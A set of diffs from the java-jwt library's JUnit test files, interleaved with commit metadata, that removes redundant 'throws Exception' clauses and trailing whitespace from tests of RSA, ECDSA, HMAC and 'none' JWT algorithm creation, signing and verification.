@@ -316,7 +316,7 @@ public void shouldCreateRSA256AlgorithmWithProvider() throws Exception {
     }
 
     @Test
-    public void shouldCreateRSA384AlgorithmWithPublicKey() throws Exception {
+    public void shouldCreateRSA384AlgorithmWithPublicKey() {
         RSAKey key = mock(RSAKey.class, withSettings().extraInterfaces(RSAPublicKey.class));
         Algorithm algorithm = Algorithm.RSA384(key);
 
@@ -327,7 +327,7 @@ public void shouldCreateRSA384AlgorithmWithPublicKey() throws Exception {
     }
 
     @Test
-    public void shouldCreateRSA384AlgorithmWithPrivateKey() throws Exception {
+    public void shouldCreateRSA384AlgorithmWithPrivateKey() {
         RSAKey key = mock(RSAKey.class, withSettings().extraInterfaces(RSAPrivateKey.class));
         Algorithm algorithm = Algorithm.RSA384(key);
 
@@ -338,7 +338,7 @@ public void shouldCreateRSA384AlgorithmWithPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldCreateRSA384AlgorithmWithBothKeys() throws Exception {
+    public void shouldCreateRSA384AlgorithmWithBothKeys() {
         RSAPublicKey publicKey = mock(RSAPublicKey.class);
         RSAPrivateKey privateKey = mock(RSAPrivateKey.class);
         Algorithm algorithm = Algorithm.RSA384(publicKey, privateKey);
@@ -350,7 +350,7 @@ public void shouldCreateRSA384AlgorithmWithBothKeys() throws Exception {
     }
 
     @Test
-    public void shouldCreateRSA384AlgorithmWithProvider() throws Exception {
+    public void shouldCreateRSA384AlgorithmWithProvider() {
         RSAKeyProvider provider = mock(RSAKeyProvider.class);
         Algorithm algorithm = Algorithm.RSA384(provider);
 
@@ -361,7 +361,7 @@ public void shouldCreateRSA384AlgorithmWithProvider() throws Exception {
     }
 
     @Test
-    public void shouldCreateRSA512AlgorithmWithPublicKey() throws Exception {
+    public void shouldCreateRSA512AlgorithmWithPublicKey() {
         RSAKey key = mock(RSAKey.class, withSettings().extraInterfaces(RSAPublicKey.class));
         Algorithm algorithm = Algorithm.RSA512(key);
 
@@ -372,7 +372,7 @@ public void shouldCreateRSA512AlgorithmWithPublicKey() throws Exception {
     }
 
     @Test
-    public void shouldCreateRSA512AlgorithmWithPrivateKey() throws Exception {
+    public void shouldCreateRSA512AlgorithmWithPrivateKey() {
         RSAKey key = mock(RSAKey.class, withSettings().extraInterfaces(RSAPrivateKey.class));
         Algorithm algorithm = Algorithm.RSA512(key);
 
@@ -383,7 +383,7 @@ public void shouldCreateRSA512AlgorithmWithPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldCreateRSA512AlgorithmWithBothKeys() throws Exception {
+    public void shouldCreateRSA512AlgorithmWithBothKeys() {
         RSAPublicKey publicKey = mock(RSAPublicKey.class);
         RSAPrivateKey privateKey = mock(RSAPrivateKey.class);
         Algorithm algorithm = Algorithm.RSA512(publicKey, privateKey);
@@ -395,7 +395,7 @@ public void shouldCreateRSA512AlgorithmWithBothKeys() throws Exception {
     }
 
     @Test
-    public void shouldCreateRSA512AlgorithmWithProvider() throws Exception {
+    public void shouldCreateRSA512AlgorithmWithProvider() {
         RSAKeyProvider provider = mock(RSAKeyProvider.class);
         Algorithm algorithm = Algorithm.RSA512(provider);
 
@@ -406,7 +406,7 @@ public void shouldCreateRSA512AlgorithmWithProvider() throws Exception {
     }
 
     @Test
-    public void shouldCreateECDSA256AlgorithmWithPublicKey() throws Exception {
+    public void shouldCreateECDSA256AlgorithmWithPublicKey() {
         ECKey key = mock(ECKey.class, withSettings().extraInterfaces(ECPublicKey.class));
         Algorithm algorithm = Algorithm.ECDSA256(key);
 
@@ -417,7 +417,7 @@ public void shouldCreateECDSA256AlgorithmWithPublicKey() throws Exception {
     }
 
     @Test
-    public void shouldCreateECDSA256AlgorithmWithPrivateKey() throws Exception {
+    public void shouldCreateECDSA256AlgorithmWithPrivateKey() {
         ECKey key = mock(ECKey.class, withSettings().extraInterfaces(ECPrivateKey.class));
         Algorithm algorithm = Algorithm.ECDSA256(key);
 
@@ -428,7 +428,7 @@ public void shouldCreateECDSA256AlgorithmWithPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldCreateECDSA256AlgorithmWithBothKeys() throws Exception {
+    public void shouldCreateECDSA256AlgorithmWithBothKeys() {
         ECPublicKey publicKey = mock(ECPublicKey.class);
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         Algorithm algorithm = Algorithm.ECDSA256(publicKey, privateKey);
@@ -440,7 +440,7 @@ public void shouldCreateECDSA256AlgorithmWithBothKeys() throws Exception {
     }
 
     @Test
-    public void shouldCreateECDSA256AlgorithmWithProvider() throws Exception {
+    public void shouldCreateECDSA256AlgorithmWithProvider() {
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
         Algorithm algorithm = Algorithm.ECDSA256(provider);
 
@@ -451,30 +451,30 @@ public void shouldCreateECDSA256AlgorithmWithProvider() throws Exception {
     }
 
     @Test
-    public void shouldCreateECDSA256KAlgorithmWithBothKeys() throws Exception {
+    public void shouldCreateECDSA256KAlgorithmWithBothKeys() {
         ECPublicKey publicKey = mock(ECPublicKey.class);
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         Algorithm algorithm = Algorithm.ECDSA256K(publicKey, privateKey);
-        
+
         assertThat(algorithm, is(notNullValue()));
         assertThat(algorithm, is(instanceOf(ECDSAAlgorithm.class)));
         assertThat(algorithm.getDescription(), is("SHA256withECDSA"));
         assertThat(algorithm.getName(), is("ES256K"));
     }
-    
+
     @Test
-    public void shouldCreateECDSA256KAlgorithmWithProvider() throws Exception {
+    public void shouldCreateECDSA256KAlgorithmWithProvider() {
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
         Algorithm algorithm = Algorithm.ECDSA256K(provider);
-        
+
         assertThat(algorithm, is(notNullValue()));
         assertThat(algorithm, is(instanceOf(ECDSAAlgorithm.class)));
         assertThat(algorithm.getDescription(), is("SHA256withECDSA"));
         assertThat(algorithm.getName(), is("ES256K"));
     }
 
     @Test
-    public void shouldCreateECDSA384AlgorithmWithPublicKey() throws Exception {
+    public void shouldCreateECDSA384AlgorithmWithPublicKey() {
         ECKey key = mock(ECKey.class, withSettings().extraInterfaces(ECPublicKey.class));
         Algorithm algorithm = Algorithm.ECDSA384(key);
 
@@ -485,7 +485,7 @@ public void shouldCreateECDSA384AlgorithmWithPublicKey() throws Exception {
     }
 
     @Test
-    public void shouldCreateECDSA384AlgorithmWithPrivateKey() throws Exception {
+    public void shouldCreateECDSA384AlgorithmWithPrivateKey() {
         ECKey key = mock(ECKey.class, withSettings().extraInterfaces(ECPrivateKey.class));
         Algorithm algorithm = Algorithm.ECDSA384(key);
 
@@ -496,7 +496,7 @@ public void shouldCreateECDSA384AlgorithmWithPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldCreateECDSA384AlgorithmWithBothKeys() throws Exception {
+    public void shouldCreateECDSA384AlgorithmWithBothKeys() {
         ECPublicKey publicKey = mock(ECPublicKey.class);
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         Algorithm algorithm = Algorithm.ECDSA384(publicKey, privateKey);
@@ -508,7 +508,7 @@ public void shouldCreateECDSA384AlgorithmWithBothKeys() throws Exception {
     }
 
     @Test
-    public void shouldCreateECDSA384AlgorithmWithProvider() throws Exception {
+    public void shouldCreateECDSA384AlgorithmWithProvider() {
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
         Algorithm algorithm = Algorithm.ECDSA384(provider);
 
@@ -519,7 +519,7 @@ public void shouldCreateECDSA384AlgorithmWithProvider() throws Exception {
     }
 
     @Test
-    public void shouldCreateECDSA512AlgorithmWithPublicKey() throws Exception {
+    public void shouldCreateECDSA512AlgorithmWithPublicKey() {
         ECKey key = mock(ECKey.class, withSettings().extraInterfaces(ECPublicKey.class));
         Algorithm algorithm = Algorithm.ECDSA512(key);
 
@@ -530,7 +530,7 @@ public void shouldCreateECDSA512AlgorithmWithPublicKey() throws Exception {
     }
 
     @Test
-    public void shouldCreateECDSA512AlgorithmWithPrivateKey() throws Exception {
+    public void shouldCreateECDSA512AlgorithmWithPrivateKey() {
         ECKey key = mock(ECKey.class, withSettings().extraInterfaces(ECPrivateKey.class));
         Algorithm algorithm = Algorithm.ECDSA512(key);
 
@@ -541,7 +541,7 @@ public void shouldCreateECDSA512AlgorithmWithPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldCreateECDSA512AlgorithmWithBothKeys() throws Exception {
+    public void shouldCreateECDSA512AlgorithmWithBothKeys() {
         ECPublicKey publicKey = mock(ECPublicKey.class);
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         Algorithm algorithm = Algorithm.ECDSA512(publicKey, privateKey);
@@ -553,7 +553,7 @@ public void shouldCreateECDSA512AlgorithmWithBothKeys() throws Exception {
     }
 
     @Test
-    public void shouldCreateECDSA512AlgorithmWithProvider() throws Exception {
+    public void shouldCreateECDSA512AlgorithmWithProvider() {
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
         Algorithm algorithm = Algorithm.ECDSA512(provider);
 
@@ -564,7 +564,7 @@ public void shouldCreateECDSA512AlgorithmWithProvider() throws Exception {
     }
 
     @Test
-    public void shouldCreateNoneAlgorithm() throws Exception {
+    public void shouldCreateNoneAlgorithm() {
         Algorithm algorithm = Algorithm.none();
 
         assertThat(algorithm, is(notNullValue()));u     }(jJ  (ee1bf928cbb1e75e577f848502df48f18cabf2e6j  Blib/src/test/java/com/auth0/jwt/algorithms/ECDSAAlgorithmTest.javaj  modifiedj  K
j  K
j  Kj  https://github.com/auth0/java-jwt/blob/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javaj  https://github.com/auth0/java-jwt/raw/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.java?ref=1f22f6cd51ec3dd035a81d4494d1231974e86505j  XD  @@ -113,7 +113,7 @@ public void shouldPassECDSA256VerificationWithProvidedPublicKey() throws Excepti
     }
 
     @Test
-    public void shouldFailECDSA256VerificationWhenProvidedPublicKeyIsNull() throws Exception {
+    public void shouldFailECDSA256VerificationWhenProvidedPublicKeyIsNull() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -225,7 +225,7 @@ public void shouldPassECDSA256KVerificationWithProvidedPublicKey() throws Except
     }
     
     @Test
-    public void shouldFailECDSA256KVerificationWhenProvidedPublicKeyIsNull() throws Exception {
+    public void shouldFailECDSA256KVerificationWhenProvidedPublicKeyIsNull() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -343,7 +343,7 @@ public void shouldPassECDSA384VerificationWithProvidedPublicKey() throws Excepti
     }
 
     @Test
-    public void shouldFailECDSA384VerificationWhenProvidedPublicKeyIsNull() throws Exception {
+    public void shouldFailECDSA384VerificationWhenProvidedPublicKeyIsNull() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA384withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -468,7 +468,7 @@ public void shouldPassECDSA512VerificationWithProvidedPublicKey() throws Excepti
     }
 
     @Test
-    public void shouldFailECDSA512VerificationWhenProvidedPublicKeyIsNull() throws Exception {
+    public void shouldFailECDSA512VerificationWhenProvidedPublicKeyIsNull() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA512withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -675,7 +675,7 @@ public void shouldDoECDSA256SigningWithProvidedPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldFailOnECDSA256SigningWhenProvidedPrivateKeyIsNull() throws Exception {
+    public void shouldFailOnECDSA256SigningWhenProvidedPrivateKeyIsNull() {
         exception.expect(SignatureGenerationException.class);
         exception.expectMessage("The Token's Signature couldn't be generated when signing using the Algorithm: SHA256withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -733,7 +733,7 @@ public void shouldDoECDSA384SigningWithProvidedPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldFailOnECDSA384SigningWhenProvidedPrivateKeyIsNull() throws Exception {
+    public void shouldFailOnECDSA384SigningWhenProvidedPrivateKeyIsNull() {
         exception.expect(SignatureGenerationException.class);
         exception.expectMessage("The Token's Signature couldn't be generated when signing using the Algorithm: SHA384withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -794,7 +794,7 @@ public void shouldDoECDSA512SigningWithProvidedPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldFailOnECDSA512SigningWhenProvidedPrivateKeyIsNull() throws Exception {
+    public void shouldFailOnECDSA512SigningWhenProvidedPrivateKeyIsNull() {
         exception.expect(SignatureGenerationException.class);
         exception.expectMessage("The Token's Signature couldn't be generated when signing using the Algorithm: SHA512withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -869,7 +869,7 @@ public void shouldThrowOnSignWhenTheSignatureIsNotPrepared() throws Exception {
     }
 
     @Test
-    public void shouldReturnNullSigningKeyIdIfCreatedWithDefaultProvider() throws Exception {
+    public void shouldReturnNullSigningKeyIdIfCreatedWithDefaultProvider() {
         ECPublicKey publicKey = mock(ECPublicKey.class);
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         ECDSAKeyProvider provider = ECDSAAlgorithm.providerForKeys(publicKey, privateKey);
@@ -879,7 +879,7 @@ public void shouldReturnNullSigningKeyIdIfCreatedWithDefaultProvider() throws Ex
     }
 
     @Test
-    public void shouldReturnSigningKeyIdFromProvider() throws Exception {
+    public void shouldReturnSigningKeyIdFromProvider() {
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
         when(provider.getPrivateKeyId()).thenReturn("keyId");
         Algorithm algorithm = new ECDSAAlgorithm("some-alg", "some-algorithm", 32, provider);
@@ -1295,7 +1295,7 @@ public void shouldBeEqualSignatureMethodDecodeResults() throws Exception {
      */
 
     @Test
-    public void shouldFailOnECDSA256SigningWithDeprecatedMethodWhenProvidedPrivateKeyIsNull() throws Exception {
+    public void shouldFailOnECDSA256SigningWithDeprecatedMethodWhenProvidedPrivateKeyIsNull() {
         exception.expect(SignatureGenerationException.class);
         exception.expectMessage("The Token's Signature couldn't be generated when signing using the Algorithm: SHA256withECDSA");
         exception.expectCause(isA(IllegalStateException.class));u}(jJ  (d000bb34cc7ae0b247ae82d393108f4ecf4f48aej  Nlib/src/test/java/com/auth0/jwt/algorithms/ECDSABouncyCastleProviderTests.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javaj  https://github.com/auth0/java-jwt/raw/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.java?ref=1f22f6cd51ec3dd035a81d4494d1231974e86505j  X  @@ -64,18 +64,18 @@ public class ECDSABouncyCastleProviderTests {
     //These tests add and use the BouncyCastle SecurityProvider to handle ECDSA algorithms
 
     @BeforeClass
-    public static void setUp() throws Exception {
+    public static void setUp() {
         //Set BC as the preferred bcProvider
         Security.insertProviderAt(bcProvider, 1);
     }
 
     @AfterClass
-    public static void tearDown() throws Exception {
+    public static void tearDown() {
         Security.removeProvider(bcProvider.getName());
     }
 
     @Test
-    public void shouldPreferBouncyCastleProvider() throws Exception {
+    public void shouldPreferBouncyCastleProvider() {
         assertThat(Security.getProviders()[0], is(equalTo(bcProvider)));
     }
 
@@ -118,7 +118,7 @@ public void shouldPassECDSA256KVerificationWithProvidedPublicKey() throws Except
     }
     
     @Test
-    public void shouldFailECDSA256KVerificationWhenProvidedPublicKeyIsNull() throws Exception {
+    public void shouldFailECDSA256KVerificationWhenProvidedPublicKeyIsNull() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -237,7 +237,7 @@ public void shouldPassECDSA256VerificationWithProvidedPublicKey() throws Excepti
     }
 
     @Test
-    public void shouldFailECDSA256VerificationWhenProvidedPublicKeyIsNull() throws Exception {
+    public void shouldFailECDSA256VerificationWhenProvidedPublicKeyIsNull() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -362,7 +362,7 @@ public void shouldPassECDSA384VerificationWithProvidedPublicKey() throws Excepti
     }
 
     @Test
-    public void shouldFailECDSA384VerificationWhenProvidedPublicKeyIsNull() throws Exception {
+    public void shouldFailECDSA384VerificationWhenProvidedPublicKeyIsNull() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA384withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -487,7 +487,7 @@ public void shouldPassECDSA512VerificationWithProvidedPublicKey() throws Excepti
     }
 
     @Test
-    public void shouldFailECDSA512VerificationWhenProvidedPublicKeyIsNull() throws Exception {
+    public void shouldFailECDSA512VerificationWhenProvidedPublicKeyIsNull() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA512withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -675,7 +675,7 @@ public void shouldDoECDSA256SigningWithProvidedPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldFailOnECDSA256SigningWhenProvidedPrivateKeyIsNull() throws Exception {
+    public void shouldFailOnECDSA256SigningWhenProvidedPrivateKeyIsNull() {
         exception.expect(SignatureGenerationException.class);
         exception.expectMessage("The Token's Signature couldn't be generated when signing using the Algorithm: SHA256withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -733,7 +733,7 @@ public void shouldDoECDSA384SigningWithProvidedPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldFailOnECDSA384SigningWhenProvidedPrivateKeyIsNull() throws Exception {
+    public void shouldFailOnECDSA384SigningWhenProvidedPrivateKeyIsNull() {
         exception.expect(SignatureGenerationException.class);
         exception.expectMessage("The Token's Signature couldn't be generated when signing using the Algorithm: SHA384withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -792,7 +792,7 @@ public void shouldDoECDSA512SigningWithProvidedPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldFailOnECDSA512SigningWhenProvidedPrivateKeyIsNull() throws Exception {
+    public void shouldFailOnECDSA512SigningWhenProvidedPrivateKeyIsNull() {
         exception.expect(SignatureGenerationException.class);
         exception.expectMessage("The Token's Signature couldn't be generated when signing using the Algorithm: SHA512withECDSA");
         exception.expectCause(isA(IllegalStateException.class));
@@ -867,7 +867,7 @@ public void shouldThrowOnSignWhenTheSignatureIsNotPrepared() throws Exception {
     }
 
     @Test
-    public void shouldReturnNullSigningKeyIdIfCreatedWithDefaultProvider() throws Exception {
+    public void shouldReturnNullSigningKeyIdIfCreatedWithDefaultProvider() {
         ECPublicKey publicKey = mock(ECPublicKey.class);
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         ECDSAKeyProvider provider = ECDSAAlgorithm.providerForKeys(publicKey, privateKey);
@@ -877,7 +877,7 @@ public void shouldReturnNullSigningKeyIdIfCreatedWithDefaultProvider() throws Ex
     }
 
     @Test
-    public void shouldReturnSigningKeyIdFromProvider() throws Exception {
+    public void shouldReturnSigningKeyIdFromProvider() {
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
         when(provider.getPrivateKeyId()).thenReturn("keyId");
         Algorithm algorithm = new ECDSAAlgorithm("some-alg", "some-algorithm", 32, provider);u}(jJ  (4a0269cc0b920f9fddf8e79be9352ae50a5ecc47j  Alib/src/test/java/com/auth0/jwt/algorithms/HMACAlgorithmTest.javaj  modifiedj  Kj  Kj  K$j  https://github.com/auth0/java-jwt/blob/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithmTest.javaj  https://github.com/auth0/java-jwt/raw/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithmTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithmTest.java?ref=1f22f6cd51ec3dd035a81d4494d1231974e86505j  X9"  @@ -34,14 +34,14 @@ public class HMACAlgorithmTest {
     // Verify
 
     @Test
-    public void shouldGetStringBytes() throws Exception {
+    public void shouldGetStringBytes() {
         String text = "abcdef123456!@#$%^";
         byte[] expectedBytes = text.getBytes(StandardCharsets.UTF_8);
         assertArrayEquals(expectedBytes, HMACAlgorithm.getSecretBytes(text));
     }
 
     @Test
-    public void shouldCopyTheReceivedSecretArray() throws Exception {
+    public void shouldCopyTheReceivedSecretArray() {
         String jwt = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
         byte[] secretArray = "secret".getBytes(Charset.defaultCharset());
         Algorithm algorithmString = Algorithm.HMAC256(secretArray);
@@ -53,7 +53,7 @@ public void shouldCopyTheReceivedSecretArray() throws Exception {
     }
 
     @Test
-    public void shouldPassHMAC256Verification() throws Exception {
+    public void shouldPassHMAC256Verification() {
         String jwt = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
         Algorithm algorithmString = Algorithm.HMAC256("secret");
         Algorithm algorithmBytes = Algorithm.HMAC256("secret".getBytes(StandardCharsets.UTF_8));
@@ -63,7 +63,7 @@ public void shouldPassHMAC256Verification() throws Exception {
     }
 
     @Test
-    public void shouldFailHMAC256VerificationWithInvalidSecretString() throws Exception {
+    public void shouldFailHMAC256VerificationWithInvalidSecretString() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: HmacSHA256");
         String jwt = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
@@ -72,7 +72,7 @@ public void shouldFailHMAC256VerificationWithInvalidSecretString() throws Except
     }
 
     @Test
-    public void shouldFailHMAC256VerificationWithInvalidSecretBytes() throws Exception {
+    public void shouldFailHMAC256VerificationWithInvalidSecretBytes() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: HmacSHA256");
         String jwt = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
@@ -81,7 +81,7 @@ public void shouldFailHMAC256VerificationWithInvalidSecretBytes() throws Excepti
     }
 
     @Test
-    public void shouldPassHMAC384Verification() throws Exception {
+    public void shouldPassHMAC384Verification() {
         String jwt = "eyJhbGciOiJIUzM4NCIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.uztpK_wUMYJhrRv8SV-1LU4aPnwl-EM1q-wJnqgyb5DHoDteP6lN_gE1xnZJH5vw";
         Algorithm algorithmString = Algorithm.HMAC384("secret");
         Algorithm algorithmBytes = Algorithm.HMAC384("secret".getBytes(StandardCharsets.UTF_8));
@@ -91,7 +91,7 @@ public void shouldPassHMAC384Verification() throws Exception {
     }
 
     @Test
-    public void shouldFailHMAC384VerificationWithInvalidSecretString() throws Exception {
+    public void shouldFailHMAC384VerificationWithInvalidSecretString() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: HmacSHA384");
         String jwt = "eyJhbGciOiJIUzM4NCIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.uztpK_wUMYJhrRv8SV-1LU4aPnwl-EM1q-wJnqgyb5DHoDteP6lN_gE1xnZJH5vw";
@@ -100,7 +100,7 @@ public void shouldFailHMAC384VerificationWithInvalidSecretString() throws Except
     }
 
     @Test
-    public void shouldFailHMAC384VerificationWithInvalidSecretBytes() throws Exception {
+    public void shouldFailHMAC384VerificationWithInvalidSecretBytes() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: HmacSHA384");
         String jwt = "eyJhbGciOiJIUzM4NCIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.uztpK_wUMYJhrRv8SV-1LU4aPnwl-EM1q-wJnqgyb5DHoDteP6lN_gE1xnZJH5vw";
@@ -109,7 +109,7 @@ public void shouldFailHMAC384VerificationWithInvalidSecretBytes() throws Excepti
     }
 
     @Test
-    public void shouldPassHMAC512Verification() throws Exception {
+    public void shouldPassHMAC512Verification() {
         String jwt = "eyJhbGciOiJIUzUxMiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.VUo2Z9SWDV-XcOc_Hr6Lff3vl7L9e5Vb8ThXpmGDFjHxe3Dr1ZBmUChYF-xVA7cAdX1P_D4ZCUcsv3IefpVaJw";
         Algorithm algorithmString = Algorithm.HMAC512("secret");
         Algorithm algorithmBytes = Algorithm.HMAC512("secret".getBytes(StandardCharsets.UTF_8));
@@ -119,7 +119,7 @@ public void shouldPassHMAC512Verification() throws Exception {
     }
 
     @Test
-    public void shouldFailHMAC512VerificationWithInvalidSecretString() throws Exception {
+    public void shouldFailHMAC512VerificationWithInvalidSecretString() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: HmacSHA512");
         String jwt = "eyJhbGciOiJIUzUxMiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.VUo2Z9SWDV-XcOc_Hr6Lff3vl7L9e5Vb8ThXpmGDFjHxe3Dr1ZBmUChYF-xVA7cAdX1P_D4ZCUcsv3IefpVaJw";
@@ -128,7 +128,7 @@ public void shouldFailHMAC512VerificationWithInvalidSecretString() throws Except
     }
 
     @Test
-    public void shouldFailHMAC512VerificationWithInvalidSecretBytes() throws Exception {
+    public void shouldFailHMAC512VerificationWithInvalidSecretBytes() {
         exception.expect(SignatureVerificationException.class);
         exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: HmacSHA512");
         String jwt = "eyJhbGciOiJIUzUxMiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.VUo2Z9SWDV-XcOc_Hr6Lff3vl7L9e5Vb8ThXpmGDFjHxe3Dr1ZBmUChYF-xVA7cAdX1P_D4ZCUcsv3IefpVaJw";
@@ -174,7 +174,7 @@ public void shouldThrowOnVerifyWhenTheSecretIsInvalid() throws Exception {
     private static final String auth0IssPayload = "eyJpc3MiOiJhdXRoMCJ9";
 
     @Test
-    public void shouldDoHMAC256SigningWithBytes() throws Exception {
+    public void shouldDoHMAC256SigningWithBytes() {
         Algorithm algorithm = Algorithm.HMAC256("secret".getBytes(StandardCharsets.UTF_8));
 
         String jwt = asJWT(algorithm, HS256Header, auth0IssPayload);
@@ -186,7 +186,7 @@ public void shouldDoHMAC256SigningWithBytes() throws Exception {
     }
 
     @Test
-    public void shouldDoHMAC384SigningWithBytes() throws Exception {
+    public void shouldDoHMAC384SigningWithBytes() {
         Algorithm algorithm = Algorithm.HMAC384("secret".getBytes(StandardCharsets.UTF_8));
 
         String jwt = asJWT(algorithm, HS384Header, auth0IssPayload);
@@ -198,7 +198,7 @@ public void shouldDoHMAC384SigningWithBytes() throws Exception {
     }
 
     @Test
-    public void shouldDoHMAC512SigningWithBytes() throws Exception {
+    public void shouldDoHMAC512SigningWithBytes() {
         Algorithm algorithm = Algorithm.HMAC512("secret".getBytes(StandardCharsets.UTF_8));
 
         String jwt = asJWT(algorithm, HS512Header, auth0IssPayload);
@@ -210,7 +210,7 @@ public void shouldDoHMAC512SigningWithBytes() throws Exception {
     }
 
     @Test
-    public void shouldDoHMAC256SigningWithString() throws Exception {
+    public void shouldDoHMAC256SigningWithString() {
         Algorithm algorithm = Algorithm.HMAC256("secret");
 
         String jwt = asJWT(algorithm, HS256Header, auth0IssPayload);
@@ -222,7 +222,7 @@ public void shouldDoHMAC256SigningWithString() throws Exception {
     }
 
     @Test
-    public void shouldDoHMAC384SigningWithString() throws Exception {
+    public void shouldDoHMAC384SigningWithString() {
         Algorithm algorithm = Algorithm.HMAC384("secret");
 
         String jwt = asJWT(algorithm, HS384Header, auth0IssPayload);
